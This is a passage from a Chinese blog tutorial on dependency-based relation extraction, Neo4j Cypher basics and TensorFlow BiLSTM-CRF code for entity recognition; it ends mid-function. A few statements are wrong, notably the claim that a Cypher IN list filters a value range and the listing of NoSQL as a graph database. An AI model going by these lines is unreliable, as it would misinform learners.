      基于依存关系模型的关系抽取也叫做开放式实体关系抽取,解决关系抽取的思路是对一个句子的词性进行预处理,例如对于一句话“马云在杭州创办了阿里巴巴”。不同于之前所讲的深度模型,词性分析则是对该句话中每一个词进行预先标注,例如“马云”、“杭州”和“阿里巴巴”被标记为名词,“在”和“了”被标记为介词,“创办”被标记为动词。所谓的依存关系则体现在不同词性的词之间存在着依存关系路径。“在”通常后面跟着地名,也就是名词,“创办”动词前通常为名词,而“在…创办了”便是一个依存关系。因此依存关系即为不同词性的词之间的关系结构,下标列出了关于中文的依存标注:

    在这里插入图片描述

    例如对于下面一句话,句子开头设置一个“ROOT”作为开始,句子结束则为句号“。”,依存关系可以表示为下图:

    在这里插入图片描述

      在传统的实体识别中,是通过基于规则的词性分析实现的,最简单的是正则表达式匹配,其次是使用NLP词性标注工具。通常认为名词是实体,因此实体可以通过词性标注实现抽取。因为词性对每一个词进行了标注,自然根据语法规则可以构建起上图所示的依存关系。每一个词根据语法规则构建起一条关系路径。所有路径的最终起始点即为句子的核心(HED)。

    11.2 依存句法分析实现关系抽取

      对于关系抽取问题,基于依存关系的关系抽取模型中,关系词并非是预先设置的类别,而是存在于当前的句子中。例如“马云在杭州创办了阿里巴巴”,预定义的关系可能是“创始人”,而“创始人”一词在句子中不存在,但是句中存在一个与其相似的词“创办”。因此在句法分析中,能够提取出核心词“创办”,该词前面有一个名词“杭州”,而“杭州”前面有一个介词“在”,因此“在杭州”是一个介宾短语,依存路径被标记为POB,所以“杭州”不是“创办”的主语,自然是“马云”。“创办”一词后面是助词“了”可以省略,再往后则是名称“阿里巴巴”,因此“创办阿里巴巴”为动宾关系VOB,与上面的“探索机制”一样。因此可分析得到语义为“马云创办阿里巴巴”,核心词“创办”即为关系,“马云”和阿里巴巴则是两个实体。
      因此基于依存关系的关系抽取算法步骤如下:
      (1)获取句子 xx
      (2)对句子 xx 进行词性标注;
      (3)构建依存关系路径,并依据依存标注表对路径进行标注;
      (4)提取核心词;
      (5)构建起动宾结构,以核心词为关系寻找主语和宾语作为两个实体。
    可以发现,基于依存关系不仅可以抽取关系,也可以提取出其对应的实体。因此包括基于深度学习模型在内,一种端到端的联合实体识别与关系抽取被提出。

    十二、基于远程监督的关系抽取

    参考博主写的博文:基于监督学习和远程监督的神经关系抽取

    十三、注意力机制(Attention)

    基于注意力机制的模型目前有许多,本文暂提供两种论文解读,详情博主两篇论文解读:
    1.论文解读:Attention Is All You Need
    2.论文解读:Attention-Based Bidirectional Long Short-Term Memory Networks for Relation Classification

    十四、基于注意力机制的命名实体识别与关系抽取

    应用注意力机制实现命名实体识别和关系抽取(也包括其他自然语言处理任务)成为常用之计,由于篇幅过大,本章节决定另开辟博文讲述。

    十五、知识的存储——图形数据库

      在通过一系列算法实现对非结构化数据进行命名实体识别和关系抽取之后,按照知识图谱中知识抽取的步骤将其存储在数据库中。通常使用的数据库为关系数据库,即满足第一和第二范式的“表格型”存储模型,但关系型数据库不能够很直接的处理具有关系类别的数据,即若表达不同数据之间的关系需要构建外键,并通过外连接方式进行关联,这对于百万级别数据来说,对查询速度以及后期的数据更新与维护都是不利的,因此需要一个能够体现不同实体关系的数据库。因此引入图数据库概念。

    15.1 图数据库

      图数据库包含的元素主要由结点、属性、关系,如图:
    关系图
    “马云”和“阿里巴巴”为实体,对于图数据库中的结点,“马云” 与“阿里巴巴”二者实体之间有一个定向关系“创办”,对于于数据库中的关系,每个实体结点都有各自的属性,即图数据库中的属性,因此构建图数据库的关键三要素即为实体1,实体2和关系,即为三元组。
      Ps:常用的图数据库有 Neo4j,NoSQL,Titan,OrientDB和 ArangoDB。关于图数据库的概念可参考:图数据库,数据库中的“黑科技”初识图数据与图数据库

    15.2 Neo4j的简介

      Neo4j是由java实现的开源NOSQL图数据库,数据库分为关系型和非关系型两种类型。其中非关系型又分为Graph(图形),Document(文档),Cloumn Family(列式),以及Key-Value Store(KV),这四种类型数据库分别使用不同的数据结构进行存储。因此它们所适用的场景也不尽相同。(引自Neo4j简介

    15.3 简单的CQL语句

      在手动编辑Neo4j数据库时,需要编写CQL语句实现对数据库的操作。Java在实现对Neo4j时也需要编写CQL语句,因此在知识抽取后的保存工作,需要对CQL语句有所了解,下面是简单的CQL语句:
    1、创建
    (1)创建单个标签到结点

    CREATE(结点名称:标签名)
    

    (2)创建多个标签到结点:

    CREATE(结点名称:标签名1:标签名2:....)
    

    (3)创建结点和属性:

    CREATE(结点名称:标签名{属性1名称:属性值1,属性2名称:属性值2,....})
    

    (4)MERGE创建结点和属性(检测是否存在结点和属性一模一样的,若存在则不创建,不存在则创建)

    MERGE(结点名称:标签名{属性1名称:属性值1,属性2名称:属性值2,....})
    

    2、检索:
    (1)检索一个结点

    MATCH(结点名称:标签名) RETURN 结点名称
    

    (2)检索一个结点的某个或多个属性

    MATCH(结点名称:标签名) RETURN 结点名称.属性名称1,结点名称.属性名称2,...
    

    (3)使用WHERE关键字搜索

    MATCH(结点名称:标签名) WHERE 标签名.属性名 关系运算符(=>OR等) 数值 RETURN 结点名称.属性名称1,结点名称.属性名称2,...
    

    Ps:其中WHERE 标签名.属性名 IS NOT NULL可以过滤掉不存在该属性值的结点
    Ps:WHERE 标签名.属性名 IN [100,102] 表示筛选出该属性值介于100和102之间
    (4)使用ORDER BY进行排序

    MATCH(结点名称:标签名) RETURN 结点名称.属性名1,... ORDER BY 结点名称.属性名1
    

    (DESC表示逆序,ASC表示正序)
    (5)使用UNION进行联合查询(要求具有相同的列名称和数据类型,过滤掉重复数据)

    MATCH(结点名称1.标签名)
    RETURN 结点名称1.属性名1 as 属性名s1,结点名称1.属性名2 as 属性名s2,..
    UNION
    MATCH(结点名称2.标签名)
    RETURN 结点名称2.属性名1 as 属性名s1,结点名称2.属性名2 as 属性名s2,..
    

    Ps:若使用UNION ALL,则不过滤重复行,其他与UNION一致
    (6)LIMIT限制返回记录个数

    MATCH(结点名称:标签名称)
    RETURN 结点名称.属性名1,...
    LIMIT 5(限制最多返回5条数据)
    

    (7)SKIP跳过前面的记录显示后面的

    MATCH(结点名称:标签名称)
    RETURN 结点名称.属性名1,...
    SKIP 5(跳过前5条数据显示第6个及以后)
    

    3、接点与关系
    (1)添加新结点并为关系创建标签:

    CREATE(结点1名称:标签名1)-[关系名称:关系标签名]->(结点2名称:标签名2)
    

    (2)为现有的结点添加关系:

    MATCH(结点1名称:标签名1),(结点2名称:标签名2)
    WHERE 条件
    CREATE(结点1名称)-[关系名称:关系标签名]->(结点2名称)
    

    (3)为现有结点添加/修改属性

    MATCH(结点名称:标签名)
    SET 结点名称.新属性名 = 值
    RETURN 结点名称
    

    4、删除
    (1)删除结点:

    MATCH(结点名称:标签名) DELETE 结点名称
    

    (2)删除结点及关系

    MATCH(结点1名称:标签名1)-[关系名称]->(结点2名称:标签名2)
    DELETE 结点1名称,结点2名称,关系名称
    

    (3)删除结点的属性

    MATCH(结点名称:标签名)
    REMOVE 结点名称.属性名,...
    RETURN 结点名称
    

    (4)删除结点的某个标签

    MATCH(结点名称:标签名1)
    REMOVE 结点名称:标签名2
    

    十六、Tensorflow实现命名实体识别与关系抽取

      本文以及详细的分析了实现命名实体识别与关系抽取的各种模型,本节将提供两个项目程序,一个是基于Bi-LSTM和CRF的命名实体识别,另一个是基于Bi-LSTM-LSTM和Text-CNN的端到端模型的实体与关系的联合抽取。

    16.1 基于Bi-LSTM和CRF的命名实体识别

    (1)main函数,主要解决控制台参数获取、数据获取以及调用模型:

    import tensorflow as tf
    import numpy as np
    import os, argparse, time, random
    from model import BiLSTM_CRF
    from utils import str2bool, get_logger, get_entity
    from data import read_corpus, read_dictionary, tag2label, random_embedding
    
    ## Tensorflow的Session运行环境
    os.environ['CUDA_VISIBLE_DEVICES'] = '0'
    os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'  # default: 0
    config = tf.ConfigProto()
    config.gpu_options.allow_growth = True
    config.gpu_options.per_process_gpu_memory_fraction = 0.2  # need ~700MB GPU memory
    
    ## 控制台输入的超参数
    parser = argparse.ArgumentParser(description='BiLSTM-CRF for Chinese NER task')
    parser.add_argument('--train_data', type=str, default='data_path', help='train data source')
    parser.add_argument('--test_data', type=str, default='data_path', help='test data source')
    parser.add_argument('--batch_size', type=int, default=64, help='#sample of each minibatch')
    parser.add_argument('--epoch', type=int, default=10, help='#epoch of training')
    parser.add_argument('--hidden_dim', type=int, default=300, help='#dim of hidden state')
    parser.add_argument('--optimizer', type=str, default='Adam', help='Adam/Adadelta/Adagrad/RMSProp/Momentum/SGD')
    parser.add_argument('--CRF', type=str2bool, default=True, help='use CRF at the top layer. if False, use Softmax')
    parser.add_argument('--lr', type=float, default=0.001, help='learning rate')
    parser.add_argument('--clip', type=float, default=5.0, help='gradient clipping')
    parser.add_argument('--dropout', type=float, default=0.5, help='dropout keep_prob')
    parser.add_argument('--update_embedding', type=str2bool, default=True, help='update embedding during training')
    parser.add_argument('--pretrain_embedding', type=str, default='random', help='use pretrained char embedding or init it randomly')
    parser.add_argument('--embedding_dim', type=int, default=300, help='random init char embedding_dim')
    parser.add_argument('--shuffle', type=str2bool, default=True, help='shuffle training data before each epoch')
    parser.add_argument('--mode', type=str, default='demo', help='train/test/demo')
    parser.add_argument('--demo_model', type=str, default='1521112368', help='model for test and demo')
    args = parser.parse_args()
    
    ## 获取数据(word embeddings)
    #word2id:为每一个不重复的字进行编号,其中UNK为最后一位
    word2id = read_dictionary(os.path.join('.', args.train_data, 'word2id.pkl'))
    print("\n========word2id=========\n",word2id)
    if args.pretrain_embedding == 'random':
        #随机生成词嵌入矩阵(一共3905个字,默认取300个特征,维度为3905*300)
        embeddings = random_embedding(word2id, args.embedding_dim)
    else:
        embedding_path = 'pretrain_embedding.npy'
        embeddings = np.array(np.load(embedding_path), dtype='float32')
    print("\n=========embeddings==========\n",embeddings,"\ndim(embeddings)=",embeddings.shape)
    
    ## read corpus and get training data获取
    if args.mode != 'demo':
        train_path = os.path.join('.', args.train_data, 'train_data')
        test_path = os.path.join('.', args.test_data, 'test_data')
        train_data = read_corpus(train_path)#读取训练集
        test_data = read_corpus(test_path); test_size = len(test_data)#读取测试集
        #print("\n==========train_data================\n",train_data)
        #print("\n==========test_data================\n",test_data)
    
    
    ## paths setting创建相应文件夹目录
    paths = {}
    # 时间戳就是一个时间点,一般就是为了在同步更新的情况下提高效率之用。
    #就比如一个文件,如果他没有被更改,那么他的时间戳就不会改变,那么就没有必要写回,以提高效率,
    #如果不论有没有被更改都重新写回的话,很显然效率会有所下降。
    timestamp = str(int(time.time())) if args.mode == 'train' else args.demo_model
    #输出路径output_path路径设置为data_path_save下的具体时间名字为文件名
    output_path = os.path.join('.', args.train_data+"_save", timestamp)
    if not os.path.exists(output_path): os.makedirs(output_path)
    
    summary_path = os.path.join(output_path, "summaries")
    paths['summary_path'] = summary_path
    if not os.path.exists(summary_path): os.makedirs(summary_path)
    model_path = os.path.join(output_path, "checkpoints/")
    if not os.path.exists(model_path): os.makedirs(model_path)
    ckpt_prefix = os.path.join(model_path, "model")
    paths['model_path'] = ckpt_prefix
    result_path = os.path.join(output_path, "results")
    paths['result_path'] = result_path
    if not os.path.exists(result_path): os.makedirs(result_path)
    log_path = os.path.join(result_path, "log.txt")
    paths['log_path'] = log_path
    get_logger(log_path).info(str(args))
    
    ## 调用模型进行训练
    if args.mode == 'train':
        #创建对象model
        model = BiLSTM_CRF(args, embeddings, tag2label, word2id, paths, config=config)
        #创建结点,
        model.build_graph()
    
        ## hyperparameters-tuning, split train/dev
        # dev_data = train_data[:5000]; dev_size = len(dev_data)
        # train_data = train_data[5000:]; train_size = len(train_data)
        # print("train data: {0}\ndev data: {1}".format(train_size, dev_size))
        # model.train(train=train_data, dev=dev_data)
    
        ## train model on the whole training data
        print("train data: {}".format(len(train_data)))
        model.train(train=train_data, dev=test_data)  # use test_data as the dev_data to see overfitting phenomena
    
    ## 调用模型进行测试
    elif args.mode == 'test':
        ckpt_file = tf.train.latest_checkpoint(model_path)
        print(ckpt_file)
        paths['model_path'] = ckpt_file
        model = BiLSTM_CRF(args, embeddings, tag2label, word2id, paths, config=config)
        model.build_graph()
        print("test data: {}".format(test_size))
        model.test(test_data)
    
    ## 根据训练并测试好的模型进行应用
    elif args.mode == 'demo':
        ckpt_file = tf.train.latest_checkpoint(model_path)
        print(ckpt_file)
        paths['model_path'] = ckpt_file
        model = BiLSTM_CRF(args, embeddings, tag2label, word2id, paths, config=config)
        model.build_graph()
        saver = tf.train.Saver()
        with tf.Session(config=config) as sess:
            saver.restore(sess, ckpt_file)
            while(1):
                print('Please input your sentence:')
                demo_sent = input()
                if demo_sent == '' or demo_sent.isspace():
                    print('bye!')
                    break
                else:
                    demo_sent = list(demo_sent.strip())
                    demo_data = [(demo_sent, ['O'] * len(demo_sent))]
                    tag = model.demo_one(sess, demo_data)
                    PER, LOC, ORG = get_entity(tag, demo_sent)
                    print('PER: {}\nLOC: {}\nORG: {}'.format(PER, LOC, ORG))
    

    (2)数据处理module,处理数据,包括对数据进行编号,词向量获取以及标注信息的处理等:

    import sys, pickle, os, random
    import numpy as np
    
    ## tags, BIO
    tag2label = {"O": 0,
                 "B-PER": 1, "I-PER": 2,
                 "B-LOC": 3, "I-LOC": 4,
                 "B-ORG": 5, "I-ORG": 6
                 }
    
    #输入train_data文件的路径,读取训练集的语料,输出train_data
    def read_corpus(corpus_path):
        """
        read corpus and return the list of samples
        :param corpus_path:
        :return: data
        """
        data = []
        with open(corpus_path, encoding='utf-8') as fr:
            lines = fr.readlines()
        sent_, tag_ = [], []
        for line in lines:
            if line != '\n':
                [char, label] = line.strip().split()
                sent_.append(char)
                tag_.append(label)
            else:
                data.append((sent_, tag_))
                sent_, tag_ = [], []
        return data
    
    #生成word2id序列化文件
    def vocab_build(vocab_path, corpus_path, min_count):
        """
    	#建立词汇表
        :param vocab_path:
        :param corpus_path:
        :param min_count:
        :return:
        """
        #读取数据(训练集或测试集)
        #data格式:[(字,标签),...]
        data = read_corpus(corpus_path)
        word2id = {}
        for sent_, tag_ in data:
            for word in sent_:
                if word.isdigit():
                    word = '<NUM>'
                elif ('\u0041' <= word <='\u005a') or ('\u0061' <= word <='\u007a'):
                    word = '<ENG>'
                if word not in word2id:
                    word2id[word] = [len(word2id)+1, 1]
                else:
                    word2id[word][1] += 1
        low_freq_words = []
        for word, [word_id, word_freq] in word2id.items():
            if word_freq < min_count and word != '<NUM>' and word != '<ENG>':
                low_freq_words.append(word)
        for word in low_freq_words:
            del word2id[word]
        new_id = 1
        for word in word2id.keys():
            word2id[word] = new_id
            new_id += 1
        word2id['<UNK>'] = new_id
        word2id['<PAD>'] = 0
        print(len(word2id))
        #将任意对象进行序列化保存
        with open(vocab_path, 'wb') as fw:
            pickle.dump(word2id, fw)
    
    #将句子中每一个字转换为id编号,例如['我','爱','中','国'] ==> ['453','7','3204','550']
    def sentence2id(sent, word2id):
        """
        :param sent:源句子
        :param word2id:对应的转换表
        :return:
        """
        sentence_id = []
        for word in sent:
            if word.isdigit():
                word = '<NUM>'
            elif ('\u0041' <= word <= '\u005a') or ('\u0061' <= word <= '\u007a'):
                word = '<ENG>'
            if word not in word2id:
                word = '<UNK>'
            sentence_id.append(word2id[word])
        return sentence_id
    
    #读取word2id文件
    def read_dictionary(vocab_path):
        """
        :param vocab_path:
        :return:
        """
        vocab_path = os.path.join(vocab_path)
        #反序列化
        with open(vocab_path, 'rb') as fr:
            word2id = pickle.load(fr)
        print('vocab_size:', len(word2id))
        return word2id
    
    #随机嵌入
    def random_embedding(vocab, embedding_dim):
        """
        :param vocab:
        :param embedding_dim:
        :return:
        """
        embedding_mat = np.random.uniform(-0.25, 0.25, (len(vocab), embedding_dim))
        embedding_mat = np.float32(embedding_mat)
        return embedding_mat
    
    def pad_sequences(sequences, pad_mark=0):
        """
        :param sequences:
        :param pad_mark:
        :return:
        """
        max_len = max(map(lambda x : len(x), sequences))
        seq_list, seq_len_list = [], []
        for seq in sequences:
            seq = list(seq)
            seq_ = seq[:max_len] + [pad_mark] * max(max_len - len(seq), 0)
            seq_list.append(seq_)
            seq_len_list.append(min(len(seq), max_len))
        return seq_list, seq_len_list
    
    def batch_yield(data, batch_size, vocab, tag2label, shuffle=False):
        """
        :param data:
        :param batch_size:
        :param vocab:
        :param tag2label:
        :param shuffle:随机对列表data进行排序
        :return:
        """
        #如果参数shuffle为true,则对data列表进行随机排序
        if shuffle:
            random.shuffle(data)
        seqs, labels = [], []
        for (sent_, tag_) in data:
        	#将句子转换为编号组成的数字序列
            sent_ = sentence2id(sent_, vocab)
            #将标签序列转换为数字序列
            label_ = [tag2label[tag] for tag in tag_]
            #一个句子就是一个样本,当句子数量等于预设的一批训练集数量,便输出该样本
            if len(seqs) == batch_size:
                yield seqs, labels
                seqs, labels = [], []
            seqs.append(sent_)
            labels.append(label_)
    
        if len(seqs) != 0:
            yield seqs, labels
    

    (3)二进制读写

    import os
    def conlleval(label_predict, label_path, metric_path):
        """
        :param label_predict:
        :param label_path:
        :param metric_path:
        :return:
        """
        eval_perl = "./conlleval_rev.pl"
        with open(label_path, "w") as fw:
            line = []
            for sent_result in label_predict:
                for char, tag, tag_ in sent_result:
                    tag = '0' if tag == 'O' else tag
                    char = char.encode("utf-8")
                    line.append("{} {} {}\n".format(char, tag, tag_))
                line.append("\n")
            fw.writelines(line)
        os.system("perl {} < {} > {}".format(eval_perl, label_path, metric_path))
        with open(metric_path) as fr:
            metrics = [line.strip() for line in fr]
        return metrics
    

    (4)字符串处理,对数据类标转换,对已生成的标注序列进行实体提取:

    import logging, sys, argparse
    
    #将字符串转换为布尔型
    def str2bool(v):
        # copy from StackOverflow
        if v.lower() in ('yes', 'true', 't', 'y', '1'):
            return True
        elif v.lower() in ('no', 'false', 'f', 'n', '0'):
            return False
        else:
            raise argparse.ArgumentTypeError('Boolean value expected.')
    
    #获得实体(将标签序列找出相应的标签组合并返回对应的文字)
    def get_entity(tag_seq, char_seq):
        PER = get_PER_entity(tag_seq, char_seq)
        LOC = get_LOC_entity(tag_seq, char_seq)
        ORG = get_ORG_entity(tag_seq, char_seq)
        return PER, LOC, ORG
    
    def get_PER_entity(tag_seq, char_seq):
        length = len(char_seq)
        PER = []
        for i, (char, tag) in enumerate(zip(char_seq, tag_seq)):
            if tag == 'B-PER':
                if 'per' in locals().keys():
                    PER.append(per)
                    del per
                per = char
                if i+1 == length:
                    PER.append(per)
            if tag == 'I-PER':
                per += char
                if i+1 == length:
                    PER.append(per)
            if tag not in ['I-PER', 'B-PER']:
                if 'per' in locals().keys():
                    PER.append(per)
                    del per
                continue
        return PER
    
    def get_LOC_entity(tag_seq, char_seq):
        length = len(char_seq)
        LOC = []
        for i, (char, tag) in enumerate(zip(char_seq, tag_seq)):
            if tag == 'B-LOC':
                if 'loc' in locals().keys():
                    LOC.append(loc)
                    del loc
                loc = char
                if i+1 == length:
                    LOC.append(loc)
            if tag == 'I-LOC':
                loc += char
                if i+1 == length:
                    LOC.append(loc)
            if tag not in ['I-LOC', 'B-LOC']:
                if 'loc' in locals().keys():
                    LOC.append(loc)
                    del loc
                continue
        return LOC
    
    def get_ORG_entity(tag_seq, char_seq):
        length = len(char_seq)
        ORG = []
        for i, (char, tag) in enumerate(zip(char_seq, tag_seq)):
            if tag == 'B-ORG':
                if 'org' in locals().keys():
                    ORG.append(org)
                    del org
                org = char
                if i+1 == length:
                    ORG.append(org)
            if tag == 'I-ORG':
                org += char
                if i+1 == length:
                    ORG.append(org)
            if tag not in ['I-ORG', 'B-ORG']:
                if 'org' in locals().keys():
                    ORG.append(org)
                    del org
                continue
        return ORG
    
    def get_logger(filename):
        logger = logging.getLogger('logger')
        logger.setLevel(logging.DEBUG)
        logging.basicConfig(format='%(message)s', level=logging.DEBUG)
        handler = logging.FileHandler(filename)
        handler.setLevel(logging.DEBUG)
        handler.setFormatter(logging.Formatter('%(asctime)s:%(levelname)s: %(message)s'))
        logging.getLogger().addHandler(handler)
        return logger
    

    (5)Bi-LSTM+CRF模型:

    import numpy as np
    import os, time, sys
    import tensorflow as tf
    from tensorflow.contrib.rnn import LSTMCell
    from tensorflow.contrib.crf import crf_log_likelihood
    from tensorflow.contrib.crf import viterbi_decode
    from data import pad_sequences, batch_yield
    from utils import get_logger
    from eval import conlleval
    
    #batch_size:批大小,一次训练的样本数量
    #epoch:使用全部训练样本训练的次数
    #hidden_dim:隐藏维度
    #embeddinds:词嵌入矩阵(字数量*特征数量)
    class BiLSTM_CRF(object):
        def __init__(self, args, embeddings, tag2label, vocab, paths, config):
            self.batch_size = args.batch_size
            self.epoch_num = args.epoch
            self.hidden_dim = args.hidden_dim
            self.embeddings = embeddings
            self.CRF = args.CRF
            self.update_embedding = args.update_embedding
            self.dropout_keep_prob = args.dropout
            self.optimizer = args.optimizer
            self.lr = args.lr
            self.clip_grad = args.clip
            self.tag2label = tag2label
            self.num_tags = len(tag2label)
            self.vocab = vocab
            self.shuffle = args.shuffle
            self.model_path = paths['model_path']
            self.summary_path = paths['summary_path']
            self.logger = get_logger(paths['log_path'])
            self.result_path = paths['result_path']
            self.config = config
    
        #创建结点
        def build_graph(self):
            self.add_placeholders()
            self.lookup_layer_op()
            self.biLSTM_layer_op()
            self.softmax_pred_op()
            self.loss_op()
            self.trainstep_op()
            self.init_op()
    
        #placeholder相当于定义了一个位置,这个位置中的数据在程序运行时再指定
        def add_placeholders(self):
            self.word_ids = tf.placeholder(tf.int32, shape=[None, None], name="word_ids")
            self.labels = tf.placeholder(tf.int32, shape=[None, None], name="labels")
            self.sequence_lengths = tf.placeholder(tf.int32, shape=[None], name="sequence_lengths")
            self.dropout_pl = tf.placeholder(dtype=tf.float32, shape=[], name="dropout")
            self.lr_pl = tf.placeholder(dtype=tf.float32, shape=[], name="lr")
        
        def lookup_layer_op(self):
            #新建变量
            with tf.variable_scope("words"):
                _word_embeddings = tf.Variable(self.embeddings,
                                               dtype=tf.float32,
                                               trainable=self.update_embedding,
                                               name="_word_embeddings")
                #寻找_word_embeddings矩阵中分别为words_ids中元素作为下标的值
                #提取出该句子每个字对应的向量并组合起来
                word_embeddings = tf.nn.embedding_lookup(params=_word_embeddings,
                                                         ids=self.word_ids,
                                                         name="word_embeddings")
            #dropout函数是为了防止在训练中过拟合的操作,将训练输出按一定规则进行变换
            self.word_embeddings =  tf.nn.dropout(word_embeddings, self.dropout_pl)
            print("========word_embeddings=============\n",word_embeddings)
    
        #双向LSTM网络层输出
        def biLSTM_layer_op(self):
            with tf.variable_scope("bi-lstm"):
                cell_fw = LSTMCell(self.hidden_dim)#前向cell
                cell_bw = LSTMCell(self.hidden_dim)#反向cell
                #(output_fw_seq, output_bw_seq)是一个包含前向cell输出tensor和后向cell输出tensor组成的元组,_为包含了前向和后向最后的隐藏状态的组成的元组
                (output_fw_seq, output_bw_seq), _ = tf.nn.bidirectional_dynamic_rnn(
                    cell_fw=cell_fw,
                    cell_bw=cell_bw,
                    inputs=self.word_embeddings,
                    sequence_length=self.sequence_lengths,
                    dtype=tf.float32)
                output = tf.concat([output_fw_seq, output_bw_seq], axis=-1)
                output = tf.nn.dropout(output, self.dropout_pl)
            with tf.variable_scope("proj"):
                #权值矩阵
                W = tf.get_variable(name="W",
                                    shape=[2 * self.hidden_dim, self.num_tags],
                                    initializer=tf.contrib.layers.xavier_initializer(),
                                    dtype=tf.float32)
                #阈值向量
                b = tf.get_variable(name="b",
                                    shape=[self.num_tags],
                                    initializer=tf.zeros_initializer(),
                                    dtype=tf.float32)
                s = tf.shape(output)
                output = tf.reshape(output, [-1, 2*self.hidden_dim])
                #tf.matmul矩阵乘法
                pred = tf.matmul(output, W) + b
                self.logits = tf.reshape(pred, [-1, s[1], self.num_tags])
    
        #损失函数
        def loss_op(self):
            #使用CRF的最大似然估计
            if self.CRF:
                #crf_log_likelihood作为损失函数
                #inputs:unary potentials,就是每个标签的预测概率值
                #tag_indices,这个就是真实的标签序列了
                #sequence_lengths,一个样本真实的序列长度,为了对齐长度会做些padding,但是可以把真实的长度放到这个参数里
                #transition_params,转移概率,可以没有,没有的话这个函数也会算出来
                #输出:log_likelihood:标量;transition_params,转移概率,如果输入没输,它就自己算个给返回
                #self.logits为双向LSTM的输出
                log_likelihood, self.transition_params = crf_log_likelihood(inputs=self.logits,
                                                                       tag_indices=self.labels,
                                                                       sequence_lengths=self.sequence_lengths)
                #tf.reduce_mean默认对log_likelihood所有元素求平均
                self.loss = -tf.reduce_mean(log_likelihood)
            else:
                #交差信息熵
                losses = tf.nn.sparse_softmax_cross_entropy_with_logits(logits=self.logits,
                                                                        labels=self.labels)
                mask = tf.sequence_mask(self.sequence_lengths)
                losses = tf.boolean_mask(losses, mask)
                self.loss = tf.reduce_mean(losses)
            tf.summary.scalar("loss", self.loss)
    
        def softmax_pred_op(self):
            if not self.CRF:
                self.labels_softmax_ = tf.argmax(self.logits, axis=-1)
                self.labels_softmax_ = tf.cast(self.labels_softmax_, tf.int32)
    
        def trainstep_op(self):
            with tf.variable_scope("train_step"):
                #global_step:Optional Variable to increment by one after the variables have been updated
                self.global_step = tf.Variable(0, name="global_step", trainable=False)
                #选择优化算法
                if self.optimizer == 'Adam':
                    optim = tf.train.AdamOptimizer(learning_rate=self.lr_pl)
                elif self.optimizer == 'Adadelta':
                    optim = tf.train.AdadeltaOptimizer(learning_rate=self.lr_pl)
                elif self.optimizer == 'Adagrad':
                    optim = tf.train.AdagradOptimizer(learning_rate=self.lr_pl)
                elif self.optimizer == 'RMSProp':
                    optim = tf.train.RMSPropOptimizer(learning_rate=self.lr_pl)
                elif self.optimizer == 'Momentum':
                    optim = tf.train.MomentumOptimizer(learning_rate=self.lr_pl, momentum=0.9)
                elif self.optimizer == 'SGD':
                    optim = tf.train.GradientDescentOptimizer(learning_rate=self.lr_pl)
                else:
                    optim = tf.train.GradientDescentOptimizer(learning_rate=self.lr_pl)
                #根据优化算法模型计算损失函数梯度,返回梯度和变量列表
                grads_and_vars = optim.compute_gradients(self.loss)
                #tf.clip_by_value(A, min, max)指将列表A中元素压缩在min和max之间,大于max或小于min的值改成max和min
                #梯度修剪
                grads_and_vars_clip = [[tf.clip_by_value(g, -self.clip_grad, self.clip_grad), v] for g, v in grads_and_vars]
                #grads_and_vars_clip: compute_gradients()函数返回的(gradient, variable)对的列表并修剪后的
                #global_step:Optional Variable to increment by one after the variables have been updated
                self.train_op = optim.apply_gradients(grads_and_vars_clip, global_step=self.global_step)
    
        def init_op(self):
            self.init_op = tf.global_variables_initializer()
        #显示训练过程中的信息
        def add_summary(self, sess):
            """
            :param sess:
            :return:
            """
            self.merged = tf.summary.merge_all()
            #指定一个文件用来保存图。
            self.file_writer = tf.summary.FileWriter(self.summary_path, sess.graph)
    
        def train(self, train, dev):
            """
            :param train:
            :param dev:
            :return:
            """
            #创建保存模型对象
            saver = tf.train.Saver(tf.global_variables())
            with tf.Session(config=self.config) as sess:
                sess.run(self.init_op)
                self.add_summary(sess)       
                #循环训练epoch_num次
                for epoch in range(self.epoch_num):
                    self.run_one_epoch(sess, train, dev, self.tag2label, epoch, saver)
    
        def test(self, test):
            saver = tf.train.Saver()
            with tf.Session(config=self.config) as sess:
                self.logger.info('=========== testing ===========')
                saver.restore(sess, self.model_path)
                label_list, seq_len_list = self.dev_one_epoch(sess, test)
                self.evaluate(label_list, seq_len_list, test)
    
        #demo
        def demo_one(self, sess, sent):
            """
            :param sess:
            :param sent: 
            :return:
            """
            label_list = []
            #随机将句子分批次,并遍历这些批次,对每一批数据进行预测
            for seqs, labels in batch_yield(sent, self.batch_size, self.vocab, self.tag2label, shuffle=False):
                #预测该批样本,并返回相应的标签数字序列
                label_list_, _ = self.predict_one_batch(sess, seqs)
                label_list.extend(label_list_)
            label2tag = {}
            for tag, label in self.tag2label.items():
                label2tag[label] = tag if label != 0 else label
            #根据标签对照表将数字序列转换为文字标签序列
            tag = [label2tag[label] for label in label_list[0]]
            print('===mode.demo_one:','label_list=',label_list,',label2tag=',label2tag,',tag=',tag)
            return tag
    
        #训练一次
        def run_one_epoch(self, sess, train, dev, tag2label, epoch, saver):
            """
            :param sess:
            :param train:训练集
            :param dev:验证集
            :param tag2label:标签转换字典
            :param epoch:当前训练的轮数
            :param saver:保存的模型
            :return:
            """
            #训练批次数
            num_batches = (len(train) + self.batch_size - 1) // self.batch_size 
            start_time = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
            #随机为每一批分配数据
            batches = batch_yield(train, self.batch_size, self.vocab, self.tag2label, shuffle=self.shuffle)
            #训练每一批训练集
            for step, (seqs, labels) in enumerate(batches):
                sys.stdout.write(' processing: {} batch / {} batches.'.format(step + 1, num_batches) + '\r')
                step_num = epoch * num_batches + step + 1
                feed_dict, _ = self.get_feed_dict(seqs, labels, self.lr, self.dropout_keep_prob)
                _, loss_train, summary, step_num_ = sess.run([self.train_op, self.loss, self.merged, self.global_step],
                                                             feed_dict=feed_dict)
                if step + 1 == 1 or (step + 1) % 300 == 0 or step + 1 == num_batches:
                    self.logger.info(
                        '{} epoch {}, step {}, loss: {:.4}, global_step: {}'.format(start_time, epoch + 1, step + 1,
                                                                                    loss_train, step_num))
                self.file_writer.add_summary(summary, step_num)
                #保存模型
                if step + 1 == num_batches:
                    #保存模型数据
                    #第一个参数sess,这个就不用说了。第二个参数设定保存的路径和名字,第三个参数将训练的次数作为后缀加入到模型名字中。
                    saver.save(sess, self.model_path, global_step=step_num)
            self.logger.info('===========validation / test===========')
            label_list_dev, seq_len_list_dev = self.dev_one_epoch(sess, dev)
            #模型评估
            self.evaluate(label_list_dev, seq_len_list_dev, dev, epoch)
    
        def get_feed_dict(self, seqs, labels=None, lr=None, dropout=None):
            """
            :param seqs:句子数字序列
            :param labels:对应句子的标签数字序列
